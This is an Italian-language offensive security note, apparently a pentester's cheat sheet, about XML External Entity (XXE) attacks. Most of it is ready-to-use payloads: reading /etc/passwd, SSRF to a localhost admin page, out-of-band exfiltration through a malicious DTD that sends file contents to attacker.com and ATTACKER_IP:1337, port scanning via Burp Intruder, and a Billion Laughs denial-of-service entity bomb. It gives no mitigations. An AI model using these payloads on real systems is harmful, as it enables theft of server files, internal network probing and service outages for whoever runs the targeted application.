tags: XML_Attack XML_External_Entity_XXE


L’XML è un linguaggio usato per definire e trasportare dati, simile all’HTML ma pensato specificatamente per gestire strutture dati personalizzate. Il suo uso è molto comune per lo scambio dati tra sistemi differenti, applicazioni web, servizi SOAP, API legacy, e documenti.

Tramite strumenti come BurpSuite possiamo vedere se la web application utilizza l’XML, un esempio di messaggio XML è il seguente:

<utente>
  <nome>Mario</nome>
  <email>[email protected]</email>
  <telefono>123456789</telefono>
</utente>

Per verificare rapidamente se un’applicazione utilizza XML, puoi fare:

  • Un’intercettazione delle richieste con Burp Suite (proxy intercettore).

  • Controllare gli header HTTP:

    • Content-Type: application/xml o text/xml.
  • Controllare il corpo delle richieste HTTP intercettate, cercando strutture tipiche XML (tag con apertura e chiusura).

Come nell’esempio:

POST /api/users HTTP/1.1
Host: example.com
Content-Type: application/xml
 
<utente>
  <nome>Mario</nome>
  <email>[email protected]</email>
</utente>

Manda la richiesta all’intruder e modifica il contenuto con il seguente:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<utente>
  <nome>&xxe;</nome>
</utente>
 
 
 
#Oppure questo payload
 
 
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<contact>
<name>&xxe;</name>
<email>[email protected]</email>
<message>test</message>
</contact>

Se l’applicazione è vulnerabile ci restituirà un la pagina /etc/passwd.

Altri payload

Payload per eseguire richieste interne HTTP:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY ssrf SYSTEM "http://127.0.0.1:8080/admin">
]>
<request>&ssrf;</request>

Out-of-Band XXE:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://IP attaccante/malicious.dtd">
%dtd;
]>
<data>&send;</data>

Con malicious.dtd sull’attacker server:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>"> %all;
 
 
#Oppure un altro payload è il seguente, con questo ti arriva una risposta in base64:
 
<!ENTITY % cmd SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oobxxe "<!ENTITY exfil SYSTEM 'http://ATTACKER_IP:1337/?data=%cmd;'>">
%oobxxe;
 

Qui, il contenuto del file locale è inviato all’attaccante tramite una richiesta HTTP.

Scansione interna delle porte:

<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://localhost:§10§/" >
]>
<contact>
  <name>&xxe;</name>
  <email>test@test.com</email>
  <message>test</message>
</contact>

Prendi la richiesta vulnerabile con BurpSuite o OWASP ZAP, la invii all’intruder e metti come payload il 10 dopo la porta con una wordlist di numeri che vanno da 1 a 65535 e vedi nelle risposte se c’è qualche cambiamento.

Denial of Service (DoS) con Entità Ricorsiva (Billion Laughs Attack)

Payload per sovraccaricare il parser XML:

<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<data>&lol9;</data

Il parser XML potrebbe bloccarsi o causare un crash per eccesso di memoria.